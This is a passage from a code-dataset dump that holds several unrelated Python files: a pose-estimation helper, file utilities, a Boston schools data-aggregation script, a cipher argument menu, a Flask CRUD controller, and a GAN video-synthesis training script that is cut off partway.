getMedia(left_hip[1], right_hip[1]),getMedia(left_shoulder[0], right_shoulder[0]),getMedia(left_shoulder[1], right_shoulder[1]),getMedia(left_knee[0], right_knee[0]),getMedia(left_knee[1], right_knee[1]))):\n cv2.line(img_copy, (int(getMedia(right_hip[0], left_hip[0])), int(getMedia(right_hip[1], left_hip[1]))), (int(getMedia(right_shoulder[0], left_shoulder[0])),int(getMedia(right_shoulder[1], left_shoulder[1]))), (255,255,255), 3)\n cv2.line(img_copy, (int(getMedia(right_hip[0], left_hip[0])), int(getMedia(right_hip[1], left_hip[1]))), (int(getMedia(right_knee[0], left_knee[0])),int(getMedia(right_knee[1], left_knee[1]))), (255,255,255), 3)\n cv2.line(img_copy, (int(getMedia(right_shoulder[0], left_shoulder[0])), int(getMedia(right_shoulder[1], left_shoulder[1]))), (int(getMedia(right_knee[0], left_knee[0])),int(getMedia(right_knee[1], left_knee[1]))), (255,255,255), 3)\n return img_copy\n\n\ndef calcular_angulos(img, hx, hy, sx, sy, kx, ky):\n img_copy = img.copy()\n ph = (hx, hy)\n ps = (sx, sy)\n pk = (kx, ky)\n print(ph,ps,pk)\n\n if(sx == -1 or sy == -1 or hy == -1 or hx == -1 or kx == 1 or ky == -1):\n return \"Undefined\"\n\n # Calculando tamanho dos lados\n sk = math.sqrt((sx - kx) ** 2 + (sy - ky) ** 2)\n hk = math.sqrt((hx - kx) ** 2 + (hy - ky) ** 2)\n hs = math.sqrt((hx - sx) ** 2 + (hy - sy) ** 2)\n print(sk, hk, hs)\n \n rad_a = math.acos((hk ** 2 + hs ** 2 - sk ** 2) / (2 * hk * hs))\n angulo_a = math.degrees(rad_a)\n print(angulo_a)\n\n if int(angulo_a) <= 140:\n return \"sentado\"\n\n return \"em pe\"\n\ndef getKeypoint(keypoints, scores, point, keypoint_threshold=2):\n keypoint = keypoints[keypoints_index.index(point), :2].detach().numpy().astype(np.int32)\n score = scores[keypoints_index.index(point)]\n if score > keypoint_threshold:\n return keypoint\n return (-1, -1)\n\ndef get_pose_estimated(img, all_keypoints, all_scores, confs, keypoint_threshold=2, conf_threshold=0.9):\n \n result = \"Undefined\"\n ## Tenta formar um triangulo entre o ombro, bacia e joelho\n for person_id in range(len(all_keypoints)):\n if confs[person_id]>conf_threshold:\n keypoints = all_keypoints[person_id, ...]\n scores = all_scores[person_id, ...]\n \n right_hip = getKeypoint(keypoints, scores, 'right_hip', keypoint_threshold)\n right_shoulder = getKeypoint(keypoints, scores, 'right_shoulder', keypoint_threshold)\n right_knee = getKeypoint(keypoints, scores, 'right_knee', keypoint_threshold)\n\n left_hip = getKeypoint(keypoints, scores, 'left_hip', keypoint_threshold)\n left_shoulder = getKeypoint(keypoints, scores, 'left_shoulder', keypoint_threshold)\n left_knee = getKeypoint(keypoints, scores, 'left_knee', keypoint_threshold)\n result = calcular_angulos(img, getMedia(left_hip[0], right_hip[0]), getMedia(left_hip[1], right_hip[1]),getMedia(left_shoulder[0], right_shoulder[0]),getMedia(left_shoulder[1], right_shoulder[1]),getMedia(left_knee[0], right_knee[0]),getMedia(left_knee[1], right_knee[1]))\n print(result) \n\n return result\n\ndef getMedia(a, b):\n return (a + b) / 2\n \n\ndef getPersonPosition(img, model):\n transform = T.Compose([T.ToTensor()])\n img_tensor = transform(img)\n\n # forward-pass the model\n # the input is a list, hence the output will also be a list\n output = model([img_tensor])[0]\n \n keypoints_img = draw_keypoints_per_person(img, output[\"keypoints\"], output[\"keypoints_scores\"], output[\"scores\"],keypoint_threshold=2)\n pose_estimated = get_pose_estimated(img, output[\"keypoints\"], output[\"keypoints_scores\"], output[\"scores\"],keypoint_threshold=2)\n \n cv2.imshow(\"points\", keypoints_img)\n return (keypoints_img, pose_estimated)","repo_name":"GustavoHen12/VisaoComputacional","sub_path":"FINAL/pose_estimation_util.py","file_name":"pose_estimation_util.py","file_ext":"py","file_size_in_byte":6501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9426972029","text":"\"\"\" file\n Utility functions for handling file contents.\n\"\"\"\n\nimport errno\nimport os\nimport tempfile\nfrom typing import Iterator\n\n\ndef mkdir(dir: str) -> None:\n \"\"\" Create a (nested) directory `dir` if it does not exist. \"\"\"\n try:\n os.makedirs(dir)\n except OSError as e:\n if e.errno != errno.EEXIST or not os.path.isdir(dir):\n raise\n\n\ndef save_tmp_file(dir: str, ext: str, chunk_iter: Iterator[bytes]) -> str:\n \"\"\" Save a file to `dir` with extension `ext` and return its path. \"\"\"\n with tempfile.NamedTemporaryFile(dir=dir, prefix=f\"{ext}-\", delete=False) as f:\n for chunk in chunk_iter:\n f.write(chunk)\n raw_path = f.name\n\n res = f\"{raw_path}.{ext}\"\n os.rename(raw_path, res) # Ready to serve\n return res\n","repo_name":"IepIweidieng/duzhi-bot-2021","sub_path":"duzhibot/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32409008615","text":"import urllib.request\r\nimport json\r\nimport dml\r\nimport prov.model\r\nimport datetime\r\nimport uuid\r\nfrom builtins import staticmethod\r\n\r\nclass underageSchoolsFiltered(dml.Algorithm):\r\n contributor = 'peterg04_yfchen'\r\n reads = ['peterg04_yfchen.underageSchools', 'peterg04_yfchen.colleges']\r\n writes = ['peterg04_yfchen.underageSchoolsFiltered']\r\n \r\n @staticmethod\r\n def execute(trial = False):\r\n # helper functions from lecture 591 by Lapets\r\n def select(R, s):\r\n return [t for t in R if s(t)]\r\n \r\n def project(R, p):\r\n return [p(t) for t in R]\r\n \r\n def product(R, S):\r\n return [(t,u) for t in R for u in S]\r\n \r\n def union(R, S, I, B):\r\n return R + S + I + B\r\n \r\n def aggregate(R, f):\r\n keys = {r[0] for r in R}\r\n return [(key, f([v for (k,v) in R if k == key])) for key in keys]\r\n startTime = datetime.datetime.now()\r\n \r\n # Set up the db connection\r\n client = dml.pymongo.MongoClient()\r\n repo = client.repo\r\n repo.authenticate('peterg04_yfchen', 'peterg04_yfchen')\r\n \r\n# url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/1d9509a8b2fd485d9ad471ba2fdb1f90_0.geojson'\r\n# response = urllib.request.urlopen(url).read().decode(\"utf-8\")\r\n# r = json.loads(response)\r\n# s = json.dumps(r, sort_keys=True, indent=2)\r\n repo.dropCollection(\"underageSchoolsFiltered\")\r\n repo.createCollection(\"underageSchoolsFiltered\")\r\n \r\n # set trafficData to a variable for manipulation\r\n initialSchoolData = repo[underageSchoolsFiltered.reads[0]].find() # a list of dictionaries\r\n initialCollegeData = repo[underageSchoolsFiltered.reads[1]].find()\r\n \r\n tempSchoolData = select(initialSchoolData, lambda t: \"properties\" in t['features'][0])\r\n #print(tempSchoolData)\r\n \r\n \r\n \r\n zipcodeEntry = []\r\n addressEntry = []\r\n schoolID = []\r\n geometry = []\r\n \r\n for i in range(0, 132):\r\n ''' iterate through entire dataset '''\r\n a = project(tempSchoolData, lambda entry: (\"ZIPCODE_ps\", entry['features'][i]['properties']['ZIPCODE']) )\r\n b = project(tempSchoolData, lambda entry: (\"ADDRESS\", entry['features'][i]['properties']['ADDRESS']) )\r\n c = project(tempSchoolData, lambda entry: (\"SCH_ID\", entry['features'][i]['properties']['SCH_ID']) )\r\n d = project(tempSchoolData, lambda entry: (\"coordinates\", entry['features'][i]['geometry']['coordinates']) )\r\n \r\n zipcodeEntry += [a]\r\n addressEntry += [b]\r\n schoolID += [c]\r\n geometry += [d]\r\n \r\n finalSCHOOL = []\r\n finalSCHOOLtemp = []\r\n for i in range(0, 132):\r\n finalSCHOOL += [union(zipcodeEntry[i], addressEntry[i], schoolID[i],geometry[i])]\r\n finalSCHOOLtemp += [zipcodeEntry[i] + [1]]\r\n \r\n MergeDataSCHOOL = aggregate(project(finalSCHOOLtemp, lambda x: (x[0][1], x[1])), sum)\r\n \r\n \r\n \r\n #finalSchool will be an intermediate database if anyone needs to pull shoolID and more detailed lcoation for public schools\r\n \r\n #College Data\r\n \r\n \r\n tempCollegeData = select(initialCollegeData, lambda t: \"properties\" in t['features'][0])\r\n \r\n zipcodeEntryC = []\r\n addressEntryC = []\r\n schoolIDC = []\r\n geometryC = []\r\n \r\n for i in range(0, 60):\r\n ''' iterate through entire dataset '''\r\n a = project(tempCollegeData, lambda entry: (\"ZIPCODE_c\", entry['features'][i]['properties']['Zipcode']) )\r\n b = project(tempCollegeData, lambda entry: (\"ADDRESS\", entry['features'][i]['properties']['Address']) )\r\n c = project(tempCollegeData, lambda entry: (\"SCH_ID\", entry['features'][i]['properties']['SchoolId']) )\r\n d = project(tempCollegeData, lambda entry: (\"coordinates\", entry['features'][i]['geometry']['coordinates']) )\r\n \r\n zipcodeEntryC += [a]\r\n addressEntryC += [b]\r\n schoolIDC += [c]\r\n geometryC += [d]\r\n \r\n finalC = []\r\n finalCtemp = []\r\n for i in range(0, 60):\r\n finalC += [union(zipcodeEntryC[i], addressEntryC[i], schoolIDC[i],geometryC[i])]\r\n finalCtemp += [zipcodeEntry[i] + [1]]\r\n \r\n MergeDataC = aggregate(project(finalCtemp, lambda x: (x[0][1], x[1])), sum)\r\n \r\n \r\n #finalC will be an intermediate database if anyone needs to pull schoolID and more detailed location for colleges\r\n \r\n #Final Step: Merge two datas and find aggregate\r\n \r\n firstMerge = product(MergeDataC, MergeDataSCHOOL)\r\n selectMerge = select(firstMerge, lambda t: t[0][0] == t[1][0])\r\n \r\n projectMerge = project(selectMerge, lambda t: (t[0][0], t[0][1], t[1][1]))\r\n \r\n \r\n \r\n FinalData = project(projectMerge, lambda t: dict([(\"ZIPCODE\", t[0]), (\"College_Agg\", t[1]), (\"PublicSchool_Agg\", t[2])]))\r\n \r\n repo['peterg04_yfchen.underageSchoolsFiltered'].insert(FinalData, check_keys = False)\r\n repo['peterg04_yfchen.underageSchoolsFiltered'].metadata({'complete':True})\r\n print(repo['peterg04_yfchen.underageSchoolsFiltered'].metadata())\r\n \r\n repo.logout()\r\n \r\n endTime = datetime.datetime.now()\r\n \r\n return {\"start\":startTime, \"end\":endTime}\r\n \r\n @staticmethod\r\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\r\n '''\r\n Create the provenance document describing everything happening\r\n in this script. Each run of the script will generate a new\r\n document describing that invocation event.\r\n '''\r\n # Set up the database connection.\r\n client = dml.pymongo.MongoClient()\r\n repo = client.repo\r\n repo.authenticate('peterg04_yfchen', 'peterg04_yfchen')\r\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in # format.\r\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in # format.\r\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\r\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\r\n doc.add_namespace('bdp', 'https://data.boston.gov/dataset/')\r\n\r\n this_script = doc.agent('alg:peterg04_yfchen#underageSchools', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})\r\n resource = doc.entity('bdp:wc8w-nujj', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataSet', 'ont:Extension':'json'})\r\n get_underageSchoolsFiltered = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\r\n doc.wasAssociatedWith(get_underageSchoolsFiltered, this_script)\r\n doc.usage(get_underageSchoolsFiltered, resource, startTime, None,\r\n {prov.model.PROV_TYPE:'ont:Retrieval'\r\n }\r\n )\r\n\r\n underageSchoolsFiltered= doc.entity('dat:peterg04_yfchen#underageSchoolsFiltered', {prov.model.PROV_LABEL:'Boston Schools', prov.model.PROV_TYPE:'ont:DataSet'})\r\n doc.wasAttributedTo(underageSchoolsFiltered, this_script)\r\n doc.wasGeneratedBy(underageSchoolsFiltered, get_underageSchoolsFiltered, endTime)\r\n doc.wasDerivedFrom(underageSchoolsFiltered, resource, get_underageSchoolsFiltered, get_underageSchoolsFiltered, get_underageSchoolsFiltered)\r\n\r\n repo.logout()\r\n \r\n return doc\r\n \r\n \r\n \r\n \r\n ","repo_name":"data-mechanics/course-2017-fal-proj","sub_path":"peterg04_yfchen/underageSchoolsFiltered.py","file_name":"underageSchoolsFiltered.py","file_ext":"py","file_size_in_byte":7932,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"37771007067","text":"import argparse\nimport base64\nfrom banner import banner\n\ndef menu():\n\t#parser = argparse.ArgumentParser(prog='CerberusCipher', description=banner())\n\tparser = argparse.ArgumentParser(description=banner())\n\tparser.add_argument('-e', '--encrypt', help='encrypt phrase',\n\t\t\t\t\t\taction='store')\n\n\tparser.add_argument('-d', '--decrypt', help='decrypt phrase',\n\t\t\t\t\t\taction='append')\n\n\n\targs = parser.parse_args()\n\tbase64.standard_b64encode(args)\n\tprint(args)\n\t#print(args.accumulate(args.Help))\n\nmenu()","repo_name":"Conman9/Cerberus-Cipher","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7728527673","text":"__author__ = 'alair.tavares'\n\nfrom app.models.module import Module\nfrom app import db\n\nclass ModuleCtrl():\n def get(self):\n applications = Module.query.all()\n return applications\n\n def get_id(self, id):\n application = Module.query.filter_by(id=id).one()\n if(application):\n return application\n else:\n return \"Registro nao encontrado\"\n\n def create(self, obj):\n module = Module(\n obj['application'],\n obj['baseUrl'],\n obj['title']\n )\n\n db.session.add(module)\n db.session.commit()\n return module\n\n def update(self, id, obj):\n application = Module.query.filter_by(id=id).first()\n\n if(application):\n db.session.query(Module).filter(Module.id == id).update(obj)\n db.session.commit()\n return application\n else:\n return \"Registro nao encontrado\"\n\n def delete(self, id):\n application = Module.query.filter_by(id=id).one()\n\n if(application):\n db.session.query(Module).filter(Module.id == id).delete()\n db.session.commit()\n return \"Registro apagado\"\n else:\n return \"Registro nao encontrado\"","repo_name":"alairjt/ModuleService","sub_path":"app/controllers/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5133944541","text":"# SPDX-License-Identifier: MIT\n# © 2020-2022 ETH Zurich and other contributors, see AUTHORS.txt for details\n\nfrom ast import arg\nfrom email.policy import default\nimport os\nimport configargparse\nimport torch\nimport torch.nn as nn\nfrom pathlib import Path\nimport wandb\nfrom datasets.base import build_dataloader\nfrom models.unet import UNet\nfrom models.patch_gan_discriminator import NLayerDiscriminator\nfrom models.video_discriminator import Discriminator_3D\nfrom losses.loss import Loss\nfrom losses.gan_loss import GANLoss\nfrom utils.utils import create_image_pair\nfrom metrics.metrics import Metrics\nimport shutil\nimport datetime\nfrom tqdm import tqdm\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ndef print_options(opt, parser):\n \"\"\"Print and save options\n\n It will print both current options and default values(if different).\n It will save options into a text file / [checkpoints_dir] / opt.txt\n \"\"\"\n message = ''\n message += '----------------- Options ---------------\\n'\n for k, v in sorted(vars(opt).items()):\n comment = ''\n default = parser.get_default(k)\n if v != default:\n comment = '\\t[default: %s]' % str(default)\n message += '{:>25}: {:<30}{}\\n'.format(str(k), str(v), comment)\n message += '----------------- End -------------------'\n print(message)\n\n\n file_name = os.path.join(opt.checkpoints_dir, 'GAN_config.txt')\n with open(file_name, 'wt') as opt_file:\n opt_file.write(message)\n opt_file.write('\\n')\n\n\ndef config_parser():\n parser = configargparse.ArgumentParser()\n # config file\n parser.add_argument('-c', '--my-config', required=True, is_config_file=True, help='config file path')\n # training and model options\n parser.add_argument(\"--optimizer\", type=str, help='choose optimizer type', default='adam')\n parser.add_argument(\"--num_epochs\", type=int, default=61, help=\"number of epochs of training\")\n parser.add_argument(\"--num_steps\", type=int, default=25000, help=\"number of steps of training\")\n parser.add_argument(\"--continue_from_epoch\", type=int, default=0, help=\"Continue training from epoch (default=0)\")\n parser.add_argument(\"--batch_size\", type=int, default=16, help=\"size of the batches\")\n parser.add_argument(\"--lr\", type=float, default=0.001, help=\"learning rate\") # 0.00001\n parser.add_argument(\"--lr_decay_steps\", type=int, default=10, help=\"learning rate decay steps in epochs\")\n parser.add_argument(\"--lr_disc\", type=float, default=0.001, help=\"discriminator learning rate\")\n parser.add_argument(\"--num_workers\", type=int, default=0, help=\"number of workers to use during batch generation\")\n parser.add_argument(\"--num_input_channels\", type=int, default=3, help=\"number of input image channels\")\n parser.add_argument(\"--num_output_channels\", type=int, default=3, help=\"number of output image channels\")\n parser.add_argument(\"--loss_names\", nargs=\"*\", type=str, default=['perceptual_loss_vgg'], help=\"names of losses used in training\")\n parser.add_argument(\"--loss_weights\", nargs=\"*\", type=float, default=[1.0], help=\"weights assigned to losses in the order\")\n parser.add_argument(\"--metric_names\", nargs=\"*\", type=str, default=['mean_absolute_error'], help=\"names of metrics to be logged\")\n parser.add_argument(\"--metric_weights\", nargs=\"*\", type=float, default=[1.0], help=\"weights assigned to metrics in the order\")\n parser.add_argument(\"--use_discriminator\", action='store_true', help=\"choose if to use discriminator network\")\n parser.add_argument(\"--use_video_discriminator\", action='store_true', help=\"choose if to use video discriminator network\")\n parser.add_argument(\"--steps_train_video_discr\", type=int, default=1, help='frequency of video discriminator training')\n parser.add_argument(\"--loss_gan_video_weight\", type=float, default=1, help='weight assigned to video discriminator loss')\n parser.add_argument(\"--use_label_maps\", action='store_true', help=\"choose if to use label maps for discriminator\")\n # dataset options\n parser.add_argument(\"--dataset_type\", type=str, help=\"options: CustomDataset\", default='CustomDataset') \n parser.add_argument(\"--input_train_root_dir\", type=str, help=\"Path to training input images\", default='./data/input_images_train') \n parser.add_argument(\"--output_train_root_dir\", type=str, help=\"Path to training output images\", default='./data/output_images_train') \n parser.add_argument(\"--label_train_root_dir\", type=str, help=\"Path to training label images\", default='./data/label_images_train') \n parser.add_argument(\"--input_val_root_dir\", type=str, help=\"Path to val input images\", default=None) \n parser.add_argument(\"--output_val_root_dir\", type=str, help=\"Path to val output images\", default=None)\n parser.add_argument(\"--label_val_root_dir\", type=str, help=\"Path to val label images\", default=None) \n parser.add_argument(\"--width\", type=int, default=640, help=\"width\")\n parser.add_argument(\"--height\", type=int, default=360, help=\"height\")\n # logging/saving options\n parser.add_argument(\"--checkpoints_dir\", type=str, help='specify the directory to save the model', default='./chkpts/experiment/') \n parser.add_argument(\"--save_every\", type=int, help='save model every # epochs', default=5)\n parser.add_argument(\"--log_every\", type=int, help='save logs every # batches', default=100)\n parser.add_argument(\"--val_every\", type=int, help='validate model every # epoch', default=0) \n parser.add_argument(\"--save_val_images\", action='store_true', help='choose if you want to save validation images')\n parser.add_argument(\"--save_train_images\", action='store_true', help='choose if you want to save train images')\n parser.add_argument(\"--wandb_dir\", type=str, help=\"directory where to save wandb data locally\", default='./wandb')\n parser.add_argument(\"--skip_log\", action='store_true', help='choose if you want to stop wandb monitoring')\n return parser\n\n\ndef save_model(network, epoch, optimizer, \n loss, best_val_loss, args,\n discriminator=None, optimizer_disc=None, \n video_discriminator=None, optimizer_video_discriminator=None,\n best_model=False):\n \n print('Saving model epoch: ', epoch)\n if not Path(args.checkpoints_dir).exists():\n Path(args.checkpoints_dir).mkdir(exist_ok=True)\n\n if type(epoch) == str:\n save_dir = Path(args.checkpoints_dir, epoch + '.pt') \n else:\n save_dir = Path(args.checkpoints_dir, 'GAN_epoch_%03d.pt' % epoch) \n\n if args.use_discriminator:\n torch.save({'epoch': epoch, \n 'model_state_dict': network.state_dict(),\n 'discriminator_state_dict': discriminator.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'optimizer_disc_state_dict': optimizer_disc.state_dict(),\n 'loss': loss, \n 'best_val_loss': best_val_loss}, \n save_dir)\n \n elif args.use_video_discriminator:\n torch.save({'epoch': epoch, \n 'model_state_dict': network.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'video_discriminator_state_dict': video_discriminator.state_dict(),\n 'video_optimizer_disc_state_dict': optimizer_video_discriminator.state_dict(),\n 'loss': loss, \n 'best_val_loss': best_val_loss}, \n save_dir)\n\n else:\n torch.save({'epoch': epoch, \n 'model_state_dict': network.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': loss, \n 'best_val_loss': best_val_loss}, \n save_dir)\n\n return save_dir\n\n\ndef print_progress(loss, best_loss = None, mode='train'):\n print(mode + ' loss: ', loss)\n if best_loss:\n print('best ' + mode + ' loss: ', best_loss)\n\n\ndef set_requires_grad(network, requires_grad_flag):\n for param in network.parameters():\n param.requires_grad = requires_grad_flag\n\n\ndef init_weights(net, init_type='normal', init_gain=0.02):\n \"\"\"Initialize network weights.\n Parameters:\n net (network) -- network to be initialized\n init_type (str) -- the name of an initialization method: normal | xavier | kaiming | orthogonal\n init_gain (float) -- scaling factor for normal, xavier and orthogonal.\n We use 'normal' in the original pix2pix and CycleGAN paper. But xavier and kaiming might\n work better for some applications. Feel free to try yourself.\n \"\"\"\n def init_func(m): # define the initialization function\n classname = m.__class__.__name__\n if hasattr(m, 'weight') and (classname.find('Conv') != -1 or classname.find('Linear') != -1):\n if init_type == 'normal':\n nn.init.normal_(m.weight.data, 0.0, init_gain)\n elif init_type == 'xavier':\n nn.init.xavier_normal_(m.weight.data, gain=init_gain)\n elif init_type == 'kaiming':\n nn.init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n elif init_type == 'orthogonal':\n nn.init.orthogonal_(m.weight.data, gain=init_gain)\n else:\n raise NotImplementedError('initialization method [%s] is not implemented' % init_type)\n if hasattr(m, 'bias') and m.bias is not None:\n nn.init.constant_(m.bias.data, 0.0)\n elif classname.find('BatchNorm2d') != -1: # BatchNorm Layer's weight is not a matrix; only normal distribution applies.\n nn.init.normal_(m.weight.data, 1.0, init_gain)\n nn.init.constant_(m.bias.data, 0.0)\n\n print('initialize network with %s' % init_type)\n net.apply(init_func)\n\n\nif __name__=='__main__':\n\n parser = config_parser()\n args = parser.parse_args()\n\n # TODO: remove after sweep\n # make new checkpoint with time \n # ct = datetime.datetime.now()\n # args.checkpoints_dir = args.checkpoints_dir + '_' + '%02d'%ct.day + '%02d'%ct.month + '%04d'%ct.year + '_' + '%02d'%ct.hour + '%02d'%ct.minute + '%02d'%ct.second\n os.makedirs(args.checkpoints_dir, exist_ok=True)\n\n # copy config in checkpoint folder\n print_options(args, parser)\n\n # check device\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(\"Running code on\", device)\n\n # prepare data\n train_loader = build_dataloader(args, mode='train', shuffle=False)\n if args.val_every != 0:\n val_loader = build_dataloader(args, mode='val', shuffle=False)\n else:\n val_loader = None\n\n # build the network \n network = UNet(args).to(device)\n init_weights(network)\n\n # make the networks multi-gpu available\n if torch.cuda.device_count() > 1:\n print(\"There are\", torch.cuda.device_count(), \"gpus available.\")\n network = nn.DataParallel(network)\n\n # Build loss function\n loss_fn = Loss(args, device).to(device)\n loss_fn.eval() # make sure networks used in calculating loss (e.g. VGG) are in eval mode (because of batch normalization and dropout layers)\n\n # Build metrics functions\n metrics_fn = Metrics(args, device)\n metrics_fn.reset()\n\n # Build an optimizer\n if args.optimizer == 'adam':\n optimizer = torch.optim.Adam(network.parameters(), lr=args.lr, betas=(0.5, 0.999))\n elif args.optimizer == 'sgd':\n optimizer = torch.optim.SGD(network.parameters(), lr=args.lr)\n else:\n raise NotImplementedError()\n \n # Learning rate decay\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=args.lr_decay_steps, gamma=0.1)\n\n # Print number of parameters in the generator network\n pytorch_generator_params = sum(p.numel() for p in network.parameters())\n print('Number of parameters in the generator network: ', pytorch_generator_params)\n\n # build discriminator if it is used\n if args.use_discriminator:\n discriminator = NLayerDiscriminator(input_nc=args.num_input_channels+args.num_output_channels, n_layers=3).to(device)\n init_weights(discriminator)\n set_requires_grad(discriminator, False)\n loss_gan_fn = GANLoss().to(device)\n if args.optimizer == 'adam':\n optimizer_discriminator = torch.optim.Adam(discriminator.parameters(), lr=args.lr_disc, betas=(0.5, 0.999))\n elif args.optimizer == 'sgd':\n optimizer_discriminator = torch.optim.SGD(discriminator.parameters(), lr=args.lr_disc)\n pytorch_discriminator_params = sum(p.numel() for p in discriminator.parameters())\n print('Number of parameters in the discriminator network: ', pytorch_discriminator_params)\n # Learning rate decay\n lr_scheduler_discr = torch.optim.lr_scheduler.StepLR(optimizer_discriminator, step_size=args.lr_decay_steps, gamma=0.1)\n\n else:\n discriminator = None\n optimizer_discriminator = None\n lr_scheduler_discr = None\n \n # build video discriminator if it is used\n if args.use_video_discriminator:\n video_discriminator = Discriminator_3D(d_conv_dim=96).to(device) # TODO: test\n init_weights(video_discriminator)\n set_requires_grad(video_discriminator, False)\n loss_gan_fn = GANLoss().to(device)\n if args.optimizer == 'adam':\n optimizer_video_discriminator = torch.optim.Adam(video_discriminator.parameters(), lr=args.lr_disc, betas=(0.5, 0.999))\n elif args.optimizer == 'sgd':\n optimizer_video_discriminator = torch.optim.SGD(video_discriminator.parameters(), lr=args.lr_disc)\n pytorch_video_discriminator_params = sum(p.numel() for p in video_discriminator.parameters())\n print('Number of parameters in the video discriminator network: ', pytorch_video_discriminator_params)\n # Learning rate decay\n lr_scheduler_video_discr = torch.optim.lr_scheduler.StepLR(optimizer_video_discriminator, step_size=args.lr_decay_steps, gamma=1) # gamma=1 for no updates in lr\n\n else:\n video_discriminator = None\n optimizer_video_discriminator = None\n lr_scheduler_video_discr = None\n \n best_val_loss = None\n\n # initialize wandb\n if not args.skip_log:\n wandb.init(project='GAN-video-synthesis', config=args, tags=[\"demo\"], job_type='train', dir=args.wandb_dir)\n args = wandb.config\n wandb.watch(network)\n \n # Start the training process\n start_train_disc = -1\n step = 0\n for epoch in tqdm(range(args.continue_from_epoch, args.num_epochs), desc='Epoch: '):\n # print('Training epoch: ', epoch)\n network.train()\n if args.use_discriminator:\n discriminator.train()\n\n # Training loop\n for batch_idx, data in enumerate(train_loader):\n\n inputs = data[\"input_image\"].to(device)\n labels = data[\"output_image\"].to(device)\n\n if args.use_label_maps:\n label_maps = data[\"label_image\"].to(device)\n else:\n label_maps = None\n\n prediction = network(inputs)\n\n loss_perceptual = loss_fn(prediction, labels)\n\n loss = loss_perceptual\n\n if args.use_discriminator and epoch>start_train_disc:\n\n set_requires_grad(discriminator, True)\n\n real_pair = torch.cat((inputs, labels), 1)\n pred_real = discriminator(real_pair, label_maps)\n loss_real = loss_gan_fn(pred_real, real_image_flag=True)\n \n fake_pair = torch.cat((inputs, prediction.detach()), 1)\n pred_fake = discriminator(fake_pair, label_maps)\n loss_fake = loss_gan_fn(pred_fake, real_image_flag=False)\n\n loss_discriminator = (loss_fake + loss_real)*0.5\n\n optimizer_discriminator.zero_grad()\n loss_discriminator.backward()\n optimizer_discriminator.step()\n \n set_requires_grad(discriminator, False)\n \n fake_pair = torch.cat((inputs, prediction), 1)\n pred_fake = discriminator(fake_pair, label_maps)\n\n loss_gan = loss_gan_fn(pred_fake, real_image_flag=True)\n loss += loss_gan \n \n if args.use_video_discriminator and epoch>start_train_disc:\n \n # Train discriminator\n if (batch_idx % args.steps_train_video_discr) == 0:\n set_requires_grad(video_discriminator, True)\n\n pred_real = video_discriminator(labels.unsqueeze(0))\n loss_video_real = loss_gan_fn(pred_real, real_image_flag=True)\n \n pred_fake = video_discriminator(prediction.unsqueeze(0).detach())\n loss_video_fake = loss_gan_fn(pred_fake, real_image_flag=False)\n\n loss_video_discriminator = (loss_video_real + loss_video_fake)*0.5\n\n # print(loss_video_discriminator.item(), loss_video_fake.item(), loss_video_real.item())\n\n optimizer_video_discriminator.zero_grad()\n loss_video_discriminator.backward()\n optimizer_video_discriminator.step()\n \n \n # Train generator\n set_requires_grad(video_discriminator, False)\n \n pred_fake = video_discriminator(prediction.unsqueeze(0).detach())\n loss_gan_video = loss_gan_fn(pred_fake, real_image_flag=True)\n # print('Perceptual loss: ', loss_perceptual.item())\n # print('GAN video loss: ', loss_gan_video.item())\n\n loss += loss_gan_video * args.loss_gan_video_weight\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n step = step + 1\n\n if not args.skip_log and batch_idx % args.log_every == 0:\n if args.save_train_images:\n image_concat = create_image_pair([inputs.detach(), prediction.detach(), labels.detach()])\n wandb_images = [wandb.Image(image) for image in image_concat]\n wandb.log({'train images predictions': wandb_images}, step=step) \n\n wandb.log({'train_loss': loss.detach()}, step=step)\n wandb.log({'train loss perceptual': loss_perceptual.detach()}, step=step)\n\n if args.use_discriminator and epoch>start_train_disc:\n wandb.log({ 'train loss gan': loss_gan, \n 'discriminator train loss': loss_discriminator.detach(), \n 'discriminator loss real': loss_real,\n 'discriminator loss fake': loss_fake}, step=step)\n \n if args.use_video_discriminator and epoch>start_train_disc:\n try:\n wandb.log({ 'train loss gan video': loss_gan_video, \n 'video discriminator train loss': loss_video_discriminator.detach(), \n 'video discriminator loss real': loss_video_real,\n 'video discriminator loss fake': loss_video_fake}, step=step)\n except NameError:\n wandb.log({ 'train loss gan video': loss_gan_video}, step=step)\n\n if step == args.num_steps:\n print(f'Breaking at {args.num_steps} steps.')\n save_dir = save_model(network, 'latest_GAN_model', optimizer, loss, best_val_loss, args, discriminator, optimizer_discriminator, video_discriminator, optimizer_video_discriminator, best_model=False)\n # model_artifact = wandb.Artifact('last_model_train', type='model')\n # model_artifact.add_file(save_dir)\n # wandb.log_artifact(model_artifact)\n exit()\n \n # Save model\n if epoch % args.save_every == 0 and epoch > 0:\n save_dir = save_model(network, epoch, 